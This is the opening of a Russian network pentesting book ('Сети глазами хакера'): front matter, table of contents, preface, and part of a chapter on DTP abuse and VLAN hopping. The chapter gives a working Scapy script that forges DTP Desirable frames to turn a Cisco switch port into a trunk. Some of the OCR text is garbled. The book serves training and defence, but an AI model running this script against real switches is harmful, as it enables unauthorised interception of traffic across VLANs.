Магама Базаров
глазами
Санкr-Петербург
« БХВ-Петербург»
2025
УДК
ББК
004.4
32.973.26-018.2
Б17
Базаров М. М.
Б17
Сети глазами хакера. -
СПб.: БХВ-Петербург, 2025. -
224 с.: ил. -
(Глазами хакера)
ISBN 978-5-9775-1995-3
В книге рассматриваются вопросы безопасности компьютерных сетей. Даны
практические рекомендации по проведению пентеста сетей Cisco, приведены по­
лезные сведения о протоколе DTP от компании Cisco Systems, представлено под­
робное руководство по пентесту канального уровня сети, тестированию безопасно­
стии и защите устройств MikroТik. Рассказывается- о методах про~едения пенте­
стов с минимальным ущербом для сетевой инфраструктуры.' Даны советы по
эффективному использованию в процессе тестирования на проникновение инстру­
ментария Kali Linux, рассказано об использовании виртуальных машин для пост­
эксплуатации систем. Описаны рекомендации по защите сетевой инфраструктуры
от хакерских атак. Практические примеры демонстрируют техники пентеста как
для атакующей, так и для защищающейся стороны. Электронный архив на сайте
издательства содержит цветные иллюстрации к книге.
Для специалистов по тестированию на проникновение,
экспертов по сетевой безопасности и системных администраторов
УДКОО4.4
ББК 32.973.26-018.2
Группа подготовки издания:
Руководитель проекта
Павел Шалин
Зав. редакцией
Людмила Гауль
Редактор
Валентин Холмогоров
Компьютерная верстка
ОльгиСергиенко
Дизайн обложки
Зои Канторович
Подписано в печать 05.08.24.
Формат 70х100 1 / 16 . Печать офсетная. Усл. печ. л. 18,06.
Тираж 1000 экз. Заказ No 10474.
"БХВ-Петербург", 191036, Санкт-Петербург, Гончарная ул., 20.
Отпечатано с готового оригинал-макета
ООО "Принт-М", 142300, М.О., г. Чехов, ул. Полиграфистов, д. 1
ISBN 978-5-9775-1995-3
© Базаров М М , 2025
• ©Оформление.ООО "БХВ-Петербург", ООО "БХВ", 2025
Оглавление
https://t.me/it_boooks/2
От автора .......................................................................................................................... 9
Условные обозначения .................................................................................................................... 9
Предупреждение ............................................................................................................................ 1О
Иллюстрации .................................................................................................................................. 1О
Глава 1. Как взломать протокол DTP и совершить побег
в другую сеть VLAN ...................................................................................................... 11
Как это работает ....................................................................................................... :.................... 11
Уязвимость .......................................................................................................................... 13
Виртуальная лаборатория ............................................................................................................. 13
Кастомная эксплуатация уязвимости без использования У ersinia ............................................ 15
Эксплуатация ...................................................................................................................... 18
Побег в другую сеть VLAN ............................................................................................... 20
Защита ............................................................................................................................................. 22
Вывод .............................................................................................................................................. 22
Глава 2. Большой гайд по пентесту канального уровня сети .............................. 23
Импакт от атак ............................................................................................................................... 23
Дисклеймер и вооружение ............................................................................................................ 23
Как обходить 802.1 Х ..................................................................................................................... 24
МАС Authentication Bypass ................................................................................................ 24
Bridge-based Attack ............................................................................................................. 24
СОР Х LLOP .................................................................................................................................. 27
Reconnaissance .................................................................................................................... 27
СОР Flooding ....................................................................................................................... 29
Нападение на сети VLAN ..................................................... : ........................................................ 31
Динамический транк и побег в другие сегменты VLAN ................................................. 31
VТР-инъекции и манипуляции базами данных VLAN .................................................... 34
Роли коммутаторов в домене VTP ......................................................................... 35
Типы объявлений в домене VTP ............................................................................ 35
Атака двойного теrирования ............................................................................................. 38
Сетевая разведка и перехват трафика с помощью ARP ............................................................ .40
ARP Harvesting .................................................................................................................... 40
ARP Cache Poisoning ·······················~············································ .. ·•·•··········•·•······· ........... .41
4
Оглавление
Переполнение ассоциативной памяти коммутатора .................................................................. .43
STP Root Hijacking ......................................................................................................................... 44
Как работает STP ................................................................................................................ 44
Атака .................................................................................................................................... 45
VLAN ID Enumeration ....................................................................................................... .49
Истощение и подмена DНСР-сервера .......................................................................................... 51
DHCP Starvation .................................................................................................................. 51
DHCP Spoofing .................................................................................................................... 54
Выводы ........................................................................................................................................... 56
Глава 3. Певтестим Ethernet по всем правилам ..................................................... 57
Сбор информации_. ......................................................................................................................... 57
Первое подключение .......................................................................................................... 57
Discovery-npoтoкoлы .......................................................................................................... 59
Обнаружение тегов 802.1 Q ................................................................................................ 59
LLМNR/NВT-NS Poisoning ................................................................................................ 61
АRР/NВNS-разведка ........................ ;................................................................................. 61
Обнаружение динамической маршруiизации .................................................................. 63
Обнаружение системы резервирования ............................................................................ 64
MITM ........................................................................ , ..................................................................... 65
Мощность железа ............................................................................................................... 66
Разрешение маршрутизации .............................................................................................. 66
Потенциальный Stonn Control ........................................................................................... 66
Обход трассировки (TTL Shift) ......................................................................................... 66
Восстановление АRР-таблицы после атаки ..................................................................... 67
IСМР Redirect ...................................................................................................................... 67
Конфигурация NA Т ............................................................................................................ 67
Модуль nf_conntrack для протоколов No NAT Friendly .................................................. 67
Выбор масок подсетей при ARP Spoofing ........................................................................ 67
Особенность атаки при SТР (МIТМ) ................................................................................ 68
Еthеmеt-туннели при пивотинге ................................................................................................... 68
Таблица векторов ........................................................................................................................... 69
Выводы ........................................................................................................................................... 69
Глава 4. Большой rайд по певтесту сетей Cisco ...................................................... 71
Перехват и дешифровка ключа Т ACACS+ .................................................................................. 71
Шаг 1: МIТМ-атака ............................................................................................................ 72
Шаг 2: Loki .......................................................................................................................... 73
Атаки на протокол CDP ................................................................................................................ 78
Сбор информации ............................................................................................................... 78
DоS-атака CDP Flooding .................................................................................................... 79
Злоупотребление динамическим транкингом ............................................................................. 82
Сетевой паралич при атаке на VTP .............................................................................................. 85
Какие бывают роли в VТР-домене .................................................................................... 85
Типы объявлений ................................................................................................................ 86
Атаки на протокол EIGRP ............................................................................................................. 88
Разведка в сети .................................................................................................................... 89
Подключение к домену маршрутизации EIGRP .............................................................. 91
Поддельные соседи EIGRP ................................................................................................ 94
Оглавление
5
Черная дыра ........................................................................................................................ 95
Злоупотребление К-значениями ........................................................................................ 97
Пере_полнение таблиц маршрутизации ............................................................................. 98
МIТМ-атака через абьюз проприетарных FНRР-протоколов Cisco ........................................ 101
Зачем нужен FНRP ........................................................... :............................................... 101
Угон GLBP и перехват трафика ...................................................................................... 1О 1
Роли в GLВР-домене и терминология ................................................................. 102
GLBP Hijacking ...................................................................................................... 102
Loki ......................................................................................................................... 102
Угон IISRP и перехват трафика ...................................................................................... 108
Роли в НSRР-домене и терминология ................................................................. 108
Версии протокола HSRP ....................................................................................... 109
HSRP Hijacking ...................................................................................................... 109
Authentication Bypassing ................................................................................ :....... 111
Loki ......................................................................................................................... 112
Эксплуатация Cisco Smart lnstall ................................................................................................ 115
Эксфильтрация конфигурации и перечисления через SNМP .................................................. 117
cisco_config_tftp ................................................................................................................ 118
snmp_enum ......................................................................................................................... 118
Постэксплуатация взломанного устройства .............................................................................. 119
Bruteforce hashes ............................................................................................................... 119
Cisco ЕЕМ ......................................................................................................................... 122
Прячемся от вывода команды show run ............................................................... 123
Прячемся от вывода команды show ssh ............................................................... 123
Прячемся от вывода команды show users ............................................................ 123
Прячемся от вывода команды show log
(локальное логирование Cisco IOS) ..................................................................... 123
Lateral VLAN Segmentation Bypass .................................................................................. 123
Configuration Enumeration ................................................................................................ 127
Классическое перечисление конфигурации ........................................................ 127
Ci~co IOS ver. enumeration .................................................................................... 128
ССАТ ...................................................................................................................... 129
Выводы ......................................................................................................................................... 130
Глава 5. Защищаем сети от спуфинr-атак .............................................................. 131
DHCP Snooping ............................................................................................................................ 131
DAI & IPSG .......................................................................................... .'........ ,................... 133
Обнаружение и блокировка инструмента Responder ................................................................ 135
Анализ процесса отравления ........................................................................................... 135
ACL .................................................................................................................................... 137
VACL и VМАР ................................................. :............................................................... 138
Сигнатура для Suricata ..................................................................................................... 139
Блокировка инструмента mitmб .................................................................................................. 139
Блокировка на основе VМАР .......................... :............................................................... 141
Безопасность дерева STP ............................................................................................................ 141
Безопасность горячей системы резервирования FНRP ............................................................ 142
Аутентификация ............................................................................................................... 143
Максимальный приоритет .: ............................................................................................. 143·
6
Оглавление
Защита динамической маршрутизации ...................................................................................... 144
Пассивные интерфейсы .................................................................................................... 145
Аутентификация ............................................................................................................... 145
Выводы ......................................................................................................................................... 146
Глава 6. Защищаем сетевое оборудование от атак на примере Cisco 10S ....... 147
Безопасность коммутационной матрицы САМ ......................................................................... 147
Зашита DНСР-сервера от атак истощения ................................................................................. 148
Домены отказоустойчивости HSRP & GLBP ............................................................................ 149
Отключение DP ............................................................................................................................ 150
Выключение DTP и смена NVLAN ............................................................................................ 150
Риски при интеграции использованных ранее коммутаторов Cisco ....................................... 151
Безопасность линии УТУ ............................................................................................................ 152
Пароли Cisco IOS ......................................................................................................................... 152
Безопасность при работе с SNMP .............................................................................................. 153
Осторожность при фильтрации ICMP ....................................................................................... 153
No Full Cone NA Т ........................................................................................................................ 153
No Port Forward ............................................................................................................................ 154
Защита от UРnР-инъекций .......................................................................................................... 154
Выводы ......................................................................................................................................... 154
Глава 7. Пентестим сетевое оборудование MikroTik ........................................... 155
Проблемы сетевой безопасности ................................................................................................ 155
DAl .......... :.......................................................................................................................... 155
RA Guard ........................................................................................................................... 155
Абьюз DP .......................................................................................................................... 156
Спуфинг в системе резервирования VRRPv3 ............................................................................ 156
Перечисление информации ............................................................................................. 157
Инъекция ........................................................................................................................... 158
GАRР-кадр ........................................................................................................................ 159
Уклонение от трассировки ............................................................................................... 160
Проблема асимметричной маршрутизации .................................................................... 160
Маршрутизация ................................................................................................................ 161
Импакт ............................................................................................................................... 162
RouterOS Traffic Hijacking ........................................................................................................... 162
GreenDog - Easy Hack # 196 (Caster Flip) ...................................................................... 162
TZSP .................................................................................................................................. 163
Угон трафика .................................................................................................................... 164
Обработка ТZSР-заголовков ............................................................................................ 165
RouterOS Pivoting ......................................................................................................................... 166
L3 GRE VPN ..................................................................................................................... 166
L2 EolP VPN ..................................................................................................................... 168
Выводы ......................................................................................................................................... 171
Глава 8. Защищаем оборудование MikroTik от хакерских атак ........................ 173
Неиспользуемые интерфейсы ..................................................................................................... 173
Disсоvеrу-протоколы ................................................................................................................... 173
Безопасность Winbox на L2 ........................................................................................................ 174
DHCP Snooping ............................................................................................................................ 174
Оглавление
7
Настройка файрвола .................................................................................................................... 175
Корректная обработка трафика ....................................................................................... 176
Аккуратная работа с ICMP .............................................................................................. 176
TTL Shift ............................................................................................................................ 176
Риск DNS-флуда ............................................................................................................... 176
Drop All Other ................................................................................................................... 177
Динамическая маршрутизация .................................................................................................... 177
Пассивные интерфейсы .................................................................................................... 177
Криптографическая аутентификация .............................................................................. 177
Безопасность системы резервирования VRRP .......................................................................... 178
Проблема псевдобалансировки ....................................................................................... 178
Безопасность дерева STP ............................................................................................................ 179
Осторожность при выборе STP Root .............................................................................. 180
Безопасность панели управления (MGMT) ............................................................................... 180
Защита RМI ....................................................................................................................... 180
Защита учетных записей на оборудовании .................................................................... 181
Выводы ......................................................................................................................................... 181
Глава 9. Используем провайдерские протоколы для пивотинга ...................... 183
TUN vs ТАР .................................................................................................................................. 183
Осторожность при адресации Т АР-интерфейсе ........................................................................ 184
GRE (LЗ) ....................................................................................................................................... 184
IPIP (LЗ) ........................................................................................................................................ 186
GRET АР (L2) ............................................................................................................................... 188
VXLAN (L2) ................................................................................................................................. 191
EoIP (L2) ....................................................................................................................................... 193
Пивотинг против Windows .......................................................................................................... 19 5
Выводы ......................................................................................................................................... 196
Глава 10. Используем виртуальный MikroTik для постэксплуатации
Windows ......................................................................................................................... 197
Caster Remix ................................................................................................................................. 197
CHR Deploy .................................................................................................................................. 198
VХLАN-туннелирование ............................................................................................................. 200
Атака ............................................................................................................................................. 202
Зачистка ........................................................................................................................................ 203
Выводы ......................................................................................................................................... 204
Глава 11. Закаляем дистрибутив Kali Linux и учимся не шуметь в сети ........ 205
Above ............................................................................................................................................ 205
Обращение к репозиториям ........................................................................................................ 207
Операции с хостнеймом системы ................................................ :.............................................. 207
TTL ................................................................................................................................................ 208
Отключение NTP ......................................................................................................................... 208
Работа с netfilter ........................................................................................................................... 209
Отключение ICMP Redirect ......................................................................................................... 209
Рандомизация МАС-адреса ......................................................................................................... 209
Минимизация шума ..................................................................................................................... 21 О
FЗl ................................................................................................................................................. 212
Выводы ......................................................................................................................................... 213
в
Оглавление
Глава 12. Пентестим сети с наименьшим ущербом .............................................. 215
Маршрутизация трафика и неразборчивый режим ................................................................... 215
Возможностьи порта коммутатора ............................................................................................. 215
NAT Helper, маскардинг и его побочные эффекты .................................................................. 216
Поиск чувствительных данных в эфире ......................................................................... 216
Ядро linux ..................................................................................................................................... 216
ТСР Window Scaling ......................................................................................................... 217
Обход VLАN-сегментации (Cisco 2960) .................................................................................... 217
DHCP Spoofing, но без Exhaustion .............................................................................................. 218
ARP Scanning ................................................................................................................................ 219
ARP Spoofmg ................................................................................................................................ 219
Спуфинг в системе горячего резервирования FНRP ................................................................ 220
Необходимость использовать GARP .............................................................................. 220
Спуфинг в сети с динамической маршрутизацией ................................................................... 221
Спуфинг дерева STP .................................................................................................................... 221
Выводы ......................................................................................................................................... 222
Предметный указатель .............................................................................................. 223
От автора
Эта книга состоит из двенадцати глав, посвященных разным аспектам безопасности
компьютерных сетей. На ее страницах вы найдете полезные сведения о протоколе
DTP от компании Cisco Systems и пентесту сетей Cisco, большое руководство по
пентесту
канального
уровня сети,
инструкцию,
помогающую
грамотно защитить
сети от спуфинг-атак, а также значительный объем информации о безопасности
оборудования MikroТik и методам защиты этого оборудования. Кроме того, вы
использовать
научитесь
виртуальные
машины
для
постэксплуатации
систем,
эффективно работать с Kali Linux и проводить пентесты с минимальным ущербом
для сетевой инфраструктуры.
Сетевая безопасность -
крайне специфическое направление ИБ, и, по моим на­
блюдениям, ей уделяется недостаточно внимания. Тем не менее ее значимость
трудно переоценить.
Книга предназначена для специалистов по тестированию на проникновение и экс­
пертов по сетевой безопасности. В ней вы найдёте материалы как offensive-, так и
defеnsivе-направлений, что создает полезный баланс для профессионалов в этой
области. Представленные здесь разделы в жанре offensive security отличаются осо­
бой спецификой и экспериментальным подходом.
Я старался описать в книге разнообразные техники, которые помогут вам в разра­
ботке методов пентеста как для атакующей, так и для защищающейся стороны, а
также подскажут эффективные методы защить1 сетевой инфраструктуры от внеш­
них угроз. Искренне надеюсь, что это издание окажется для вас полезным и позна­
вательным.
Условные обозначения
В книге принят ряд условных обозначений:
□ врезка
INFO содержит ту или иную полезную
информацию, относящуюся
к рассматриваемой теме;
□ во врезке
WARNING приведена важная информация, к которой следует отне­
стись со всей возможной серьезностью;
От автора
10
□ Жирным шрифтом в книге выделены интернет-адреса
(URL), моноширинным -
код, команды, элементы машинного ввода и вывода.
ТТ редупреждение
Вся приведенная на страницах этой книги информация, код и примеры публикуют­
ся исключительно в ознакомительных целях. Издательство «БХВ» и автор не несут
никакой ответственности за любые последствия использования информации, полу­
ченной в результате прочтения книги, а также за любой возможный вред, причи­
ненный информацией из этого издания.
Иллюстрации
Цветные иллюстрации к этой книге можно загрузить со страницы издания на сайте
http://bhv.ru, или по ссылке https://zip.bhv.ru/9785977519953.zip.
ГЛАВА
1
Как взломать протокол DTP
и совершить побег в другую сеть VLAN
https://t.me/it_boooks/2
Протокол DTP был разработан инженерами Cisco Systems, чтобь, облегчить жизнь
ленивым сетевым инженерам. Но при халатном отношении к конфигурации этого
протокола администраторы расплачиваются компрометацией своих сетей. В этой
главе я продемонстрирую сценарий взлома протокола
DTP и возможность побега
в другую сеть VLAN.
Аббревиатура DTP расшифровывается как Dynamic Trunking Protocol. Этот прото­
кол разработан инженерами
Cisco Systems для реализации автоматической тран­
кинговой системы. Какой порт будет транковым, а какой нет именно протокол DTP, а не сетевой инженер.
с этим разбирается
DTP очень часто остается без долж­
ного внимания и в большинстве случаев использует конфигурацию по умолчанию.
Этим мы с вами и воспользуемся.
Как это работает
DTP позволяет двум соседним портам коммутатора согласовывать решения о том,
будут ли они магистральными каналами (транками, рис. 1.1). Такой метод приме­
няется, чтобы сформировать магистральный канал, а сетевому администратору не
приходилось настраивать вручную каждую сторону соединения. Коммутационный
порт, который находится на другом конце канала. может принять конфигурацию
соседа и сформировать транк автоматически. Да, это позволяет сохранить время и
силы, но не в таком уж и существенном объеме.
В протоколе DTP предусмотрено несколько режимов работы портов коммутатора
для инициализации магистрального канала:
□
Access Mode -
режим постоянного бестранкового состояния. Порт всегда будет
оставаться в бестранковом состоянии, несмотря на то, что соседний порт не
согласен с изменением;
□
Trunk Mode -
режим постоянного транкового состояния . Порт всегда будет
оставаться в транковом состоянии , несмотря на то , что соседний порт не согла­
сен с изменением;
....
12
Глава 1
Dyмmic Auto Моdе +--+ Dyмmlc Auto Моdе
GOIO
SW1
0/1
ТRUNKMODE
Dynamlc DesiraЫe Моdе
GOIO
.-.. !.~~
""""'
._
ТRUNK МОDЕ
;
~~
._,,,. ..
.... to---------....... ..,
_____
SW2
SW3
Рис. 1.1. Пример типичной топологии DTP
□
Dynamic Auto -
в этом режиме порт готов перейти в транковое состояние, если
соседний порт будет в режиме Trunk или Dynamic DesiraЫe. Важно упомянуть,
□
что Dynamic Auto -
это режим по умолчанию для всех портов коммутатора;
Dynamic DesiraЫe -
в этом режиме порт всегда пытается перейти в транковое
состояние. Порт переключается в режим Trunk, если соседний порт настроен
в режимах Dynamic Auto, Dynamic DesiraЫe или Trunk Mode;
□
Nonegotiate -
в этом режиме порт не участвует в процессах DTP. Он не будет
ни оmравлять кадры DTP, ни принимать их.
Чтобы не запутаться в этих терминах, я сделал таблицу комбинаций режимов DTP
двух соседних портов (рис. 1.2). Посмотрев на данные в этой таблице, вы наверняка
заметили, что если два соседних порта находятся в режиме Dynamic Auto, то они не
смогут образовать магистралыJый канал, и оба порта останутся в режиме Access.
Другой пример: если первьiй порт будет в режиме Dynamic Auto, а второй порт
в режиме Dynamic DesiraЫe, то в конечном счете образуется магистральный канал
или же транк.
Кадры DTP рассылаются через порты коммутатора каждые 30 секунд. И для их
рассылки используется специальный мультикастовый адрес 01: оо: ос: се: се: се. Если
порт был сконфигурирован динамически, то время его жизни -
всего 300 секунд
(рис. 1.3).
INFO
Мультикастовый адрес 01:00:ос:сс:сс:сс используется не.только протоколом DTP, но
и другими, например СОР, VТР, PAgP, UDLD. Чтобы протоколы могли отличаться друг
от друга при оmравке своих объявлений по одинаковому мультикастовому адресу,
для них реализовано уникальное значение в заголовке SNAP на уровне LLC (Logical
Link Control}. Для DTP это значение эквивалентно Ох2004.
Как взломать протокол DTP и совершить побег в дрУгую сеть VLAN
Dynamic Auto
Dynamic
DesiraЫe
13
Trunk
Access
Access
Trunk
Trunk
Access
Trunk
Trunk
Trunk
Access
Trunk
Trunk
Trunk
Trunk
Umited
Connectivity
Access
Access
Access
Limited
Connectivity
Access
Dynamic Auto
Dynamic
DesiraЫe
Рис. 1.2. Таблица комбинаций режимов портов DTP
3::ta: D:F
~:-:f:.:ттаt~::-:
-=·---==~- ~:,
::-=::::e.:ls
I •:F ::-=::: r:ac ►:o:,t.:3
I ·:;:-.arr ~·= :.: ..::-: ►: t~тте: -t ~з ::. :, :, .:3-=:: :-. :ls
5-=:е.:1~:-.,~~
Рис. 1.3. Информация о DTP из консоли Cisco IOS
Уязвимость
Суть уязвимости заключается в том, что протокол DTP включен по умолчанию на
всех современных коммутаторах Cisco. При этом кажды~ порт коммутатора на­
строен в режиме Dynamic Auto. То есть порт будет ожидать инициации транка со
стороны соседа. Для успешного проведения атаки нам нужно физически подклю­
читься к коммутатору и отправить специально подготовленный кадр DTP DesiraЫe. •
Порт переключится в режим магистрального канала, и мы сможем получить доС'I)'П
ко всем сетям VLAN.
Виртуальная лаборатория
В своей виртуальной лаборатории я использовал платформу виртуализации EVE-NG
Community Edition. Целевыми устройствами будут эмулированный коммутатор
и маршрутизатор Cisco (Cisco IOL), виртуальные УРС из EVE-NG. А в качестве
машины атакующего ВЫС'I)'ПИТ ОС Kali Linux 2021.4.
Сеть разбита на два сегмента: это VLAN I О и VLAN 30. За маршрутизацию трафи­
ка между ними отвечает маршрутизатор Rl . Также на маршрутизаторе Rl настроен
DНСР-сервер для автоматической выдачи адресов устройствам.
14
Глава 1
R1
INTER-VLAN Routing ;
DHCP Server
ТRUNK
802.10
Е1/О
➔
VLANЗO
~
Access Mode ЕО/1
~➔ i - - - - - - - - - - - - 1
i::::::::]
c::::J
SW1
--
Fileshare Server
Attacker Machine
Workstation
Рис. 1.4. Топология виртуальной лаборатории
Devlce
lnterface
Swltch Port
R1
G0/0
ЕО/0
R1
G0/0.10
ЕО/0
10.120.10.254
10
R1
G0/0.30
ЕО/0
10.120.30.254
30
Workstation
ЕТНО
ЕО/2
10.120.10.4
10
Fileshare Server
ЕТНО
ЕО/1
10.120.30.2
30
Attacker Machlne
ЕТНО
Е1/1
.
.
IP address
VLANID
.
Рис. 1.5. IР-адресация виртуальной лаборатории
Как взломать протокол DTP и совершить побег в другую сеть VLAN
15
На порту коммутатора Е 1/0 S W I до маршрутизатора R I сконфигурирован магист­
канал 802.1 Q, который передает весь тегированный трафик сетей
VLAN I О и 30. Порты ЕО/1 и ЕО/2 настроены в режиме Access и принадлежат своим
сетям VLAN.
ральный
Машина атакующего подключена к порту коммутатора Е 1/ 1. Порт настроен по
умолчанию в режиме
Dynamic Allto для демонстрации эксплуатации уязвимости
(рис. 1.4, 1.5).
Кастомная эксплуатация уязвимости
без использования Yersinia
В контексте проведения атаки я решил обойтись без популярного фреймворка
Yersinia (https://www.kali.org/tools/yersinia/). Одно дело, когда ты просто нажима­
ешь несколько кнопок, руководствуясь своим бэкграундом знаний, и производишь
взлом, это что-то из разряда «JL1st pнsh tlтe bL1tton a11d hack it». Совсем другое дело,
когда ты сам собираешь свой инструмент по кусочкам. Я считаю, это даст более
глубокое понимание процесса эксплуатации уязвимости, что очень важно.
DTP я использовал связку Python и Scapy
(https://scapy.net/), написав свой собственный скрипт - DTPAbнse.py (https://
Для эксплуатации этой уязвимости
github.com/casterbytethrowback/NetworkExploitation/ЫoЬ/main/DTPAbuse.py).
Ниже я разберу весь программный код скрипта, чтобы вы понимали работу этой
программы и процесс эксплуатации.
Итак, начнем.
from scapy.all import *
from scapy.contrib.dtp import *
import argparse
В этой части, я думаю, никаких вопросов возникнуть не должно. Мы подключаем
библиотеку Scapy, модуль для работы с протоколом DTP и модуль argparse, чтобы
сделать скрипт параметризованным. То есть скрипт будет принимать на вход вве­
денный пользователем аргумент.
cisco multicast = "01:00:ОС:СС:СС:СС"
Создаем переменную cisco mult1cast и передаем в нее адрес мультикастовой рас­
сылки Cisco.
def get_arguments():
parser = argparse .ArgumentParser 11
parser.add_argument ("-i", dest="interface", type=str, required~TлJe,
help~"ChoCJse thr, iпterface to attc1ck")
args = parser.parse_args()
return args
Функция get_arguments парсит введенные пользователем входящие аргументы и от­
правляет данные в переменную interface. В качестве входных данных скрипт будет
принимать сетевой интерфейс для атаки.
16
Глава 1
def negotiate_trunk(interface=conf.iface, mymac=str(RandМAC() )) :
dtp_frame = DotЗ(src=mymac, dst=cisco_multicast)
dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=З)/SNAP(OUI=0x0c, code = Ох2004)
dtp_frame /= DТP(tlvlist=[DТPDomain(),DТPStatus(),DТPТype(),
DТPNeighЬor (neighЬor=mymac)
))
sendp(dtp_frame, iface=args.interface, inter=З, loop=l, verbose=l)
Функция negotiate_trunk принимает на вход сетевой интерфейс и МА С-адрес. МАС­
адрес пусть будет рандомизированным.
Далее расположен код под функцией negotiate_trunk, который собирает кадр DTP
DesiraЫe.
dtp_frame = DotЗ(src=mymac, dst=cisco_multicast)
В кадре Ethernet DotЗ я указываю МАС-адрес источника назначения. Адресом на­
значения будет служить адрес мультикастовой рассьшки Cisco.
dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=З)/SNAP(OUI=0x0c, code = Ох2004)
Также понадобится добавить слои LLC и SNAP. Значением Ох2ОО4 в заголовке SNAP ука­
жем, что это DТР-кадр.
dtp_frame /= DТP(tlvlist=[DТPDomain(),DТPStatus(),DТPType(),DTPNeighЬor(neighЬor=mymac)])
Собираем кадр
DTP, все параметры оставим по умолчанию, кроме DТPNeighЬor.
Переменной neighЬor передадим МАС-адрес источника. Почему-то в Scapy в дефолт­
ном кадре DTP по умолчанию хранятся все необходимые значения, чтобы собрать
именно кадр DTP DesiraЫe. Я не знаю, с чем это связано, но это сыграет нам на
руку: сэкономим время. Поэтому мы оставили параметры DTP по умолчанию (за
исключением DТPNeighЬor, рис. 1.6).
Теперь давай сосредоточимся на хранящихся там самых важных заголовках и не
менее важных значениях:
□ DТРТуре
= '\ха5' -
значение заголовка, указывающее на использование инкапсу­
ляции 802.1 Q;
□ DТPStatus
= '\хОЗ' -
значение заголовка, указывающее на статус DТР-кадра. Это
статус DesiraЫe, то, что нам нужно для инициации транка.
sendp(dtp_frame, iface=args.interface, inter=З, loop=l, verbose=l)
Далее необходимо оmравить собранный кадр. Поскольку мы знаем, что динамиче­
ский транк продержится всего 300 секунд, зациклим Qтправку этого кадра с интер­
валом в 3 секунды.
args = get_arguments()
negotiate_trunk(args.interface)
Ну и последние части скрипта. Передаем вводимые пользователем аргументъ1 в пе­
ременную args и вызываем функцию get_arguments () . Затем вызываем функцию
negotiate_trunk, подав на вход введенный пользователем интерфейс (рис. 1. 7).
Как взломать протокол DTP и совершить побег в другую сеть VLAN
»> DTP (). show()
###[ DTP ]###
ver
\ tlvlist
= 1
\
>>> DTPDomai n().show()
###[ DTP Domain ]###
type
length
domain
1
None
' \х00'
1
>>> DTPStat us().show()
###[ DTP Status ]###
' type
lengt h
status
2
None
' \х03'
>>> DTPType().show()
###[ DTP Ту ре ]###
type
3
length
None
dtptype
' \\xaS'
>>> DTPNeighbor().show()
###[ DTP Neighbor ]###
type
len
neighbor
4
10
None
Рис. 1.6. Структура дефолтного DTP в Scapy
mercy@C0ldheim :~/dtpattacking$ cat dt
111111[ 802. 3 ] 111111
dst
= 01:00:0с:сс:сс : сс
= dб:32:ав:а2:7б:ав
src
len
= None
111111[ LLC )111111
0хаа
dsap
ssap
0хаа
3
ctrl
111111[ SNAP )111111
OUI
structш·e , txt
0хс
0х2004
code
111111[ DTP ]111111
ver
=1
\ tlvlist
\
1111111[ DTP Domain ]111111
1 type
=1
= None
1 length
1 doma i n
= '\х00'
1111111[ DTP Status ]111111
=2
1 type
1 length
= None
'\х03'
1 status
1111111[ DTP Туре ]111111
З
1 type
1 length
None
'\ха5'
1 dt ptype
1111111[ DTP Neighbor ]111111
=4
1 type
1 len
= 10
1 neighbor = dб:32 :ав:а2:76 :а8
Рис. 1.7. «Скелет» собранного кадра DTP
17
18
Глава 1
Эксплуатация
Запускаем сетевой сниффер Wireshark и прослушиваем трафик на наличие кадров
DTP (рис. 1.8).
Рис. 1.8. Дамп трафика из Wireshark
Мы видим, что коммутатор воспроизводит рассьmку кадров DTP на порт, к кото­
рому подключена машина с Kali Linux. Исходя из информации, хранящейся в заго­
ловках
DTP, мы можем смело заявить, что порт коммутатора настроен в режиме
Dyпamic Auto (рис. 1.9).
Теперь запускаем наш скрипт DTPAbuse (рис. l. l О).
• Trunk Status
Туре: Trunk Status (0х0002)
Length: 5
• Value: Access/Auto (0х04)
= Trunk Operating Status: Access (0х0}
0. ..
:;i;..,;i;r.7>.' :100 = Trunk Administ rative Status: ~'AutoJJёx4 }J
Рис. 1.9. Информация о статусе порта DTP
mercyo)(Oldheim : ~/dtpattacl<i ng$ sudo pythonЗ DTPabuse.
[sudo] password for mercy:
Trying to negotiate ...
Рис. 1.10. Запуск скрипта DTPAbuse.py
1
eth0
19
Как взломать протокол ОТР и совершить побег в другую сеть VLAN
Рис . 1.11. Отправленный кадр DTP DesiraЫe
Рис. 1.12. Порт Е 1/1 преобразовался в динамический транк
Cc1ptur1ng from ethO
File
~d1t
View
§о
~apture
Analyze _ St~t1st1cs
Toois
Telephon~ _ ~rel.ess
• □ •@~8~8Ц• ➔ П+~ ~ ■
No
nme
_
ООD~
-
Dest1nc1t1on
Source
______ _
_!jelp
-
-
--:-
--·--
Length Protocol
lnfo
Ч
568 278.Зб94286З8 е в.в.в
589 21в. з12з94951 58: ее: ее: 85, ев · ее
255 . 255. 255 255
Broadcast
418 ОНСР
64 ARP
DHCP Discover -
тransвction
tost = t:J
~ 1d bd
ID ехf1б57а42
с
,t
Р
е
Р,
В
,) t
574 211.369875846 в.а.в.а
575 272.878744585 аа : ьь·сс:ее:1е,11
255 255. 255. 255
418 ОНСР
CDP/VТP/DTP/PAgP/UD
588 CDP
1
Who has 18 . 120.38.2? Tel1 18 . 128.38.254
f
о
DHCP 01scover - Transact1.on 1D 8хf7б57а42
oevice ID: sw1.autonomy.com Port IO: !=thernetl/1
• Р<
•
р
р
в
в
584 275.378796855 Pпvate 6б:б8:82
585 276.372313713 Рпvа t е _бб: 68 :82
Broadcast
Broadcast
68 ARP
68 ARP
•
Gratuitous ARP for 1в . 12е.эе.2 (Request)
Gratuitous ARP for 18.128.38.2 (Request)
Pr
О
ь С
Frame 577 . 60 bytes on wне (480 blts), 60 byte s captured {488
► IEEE 802 З Ethernet
► Log.1cal-l1nk Control
, Spanning Trcc Pratoco l
►
Ь1ts)
on 1ntcrfacc et h0, 1d G
Рис. 1.13. Прослушивание трафика после эксплуатации
tf
LtJ
вв
сон
е
j
20
Глава 1
На скриншоте выше мы видим, что скриm генерирует необходимый нам кадр DTP
DesiraЫe (рис. 1.11 ). Если теперь мы войдем в панель управления коммутатора
SWl, то увидим следующее (рис. 1.12).
Порт коммутатора, к которому подключена машина атакующего, переключился
в режим магистрального канала. Теперь мы можем прослушивать трафик всех
сетей VLAN (рис. 1.13 ).
Побег в другую сеть VLAN
Теперь у нас есть возможность «прыгнуть» в другую VLAN-ceть, т. к. порт комму­
татора, к которому мы подключены, находится в режиме магистрального канала.
Для этого нужно создать виртуальный интерфейс VLAN на нашем сетевом адапте­
ре, назначить VLAN Ш и IР-адрес.
/NFO
Эта атака имеет альтернативное название: VLAN Hopping.
Но откуда нам взять VLAN ID? Поскольку мы в состоянии прослушивать трафик
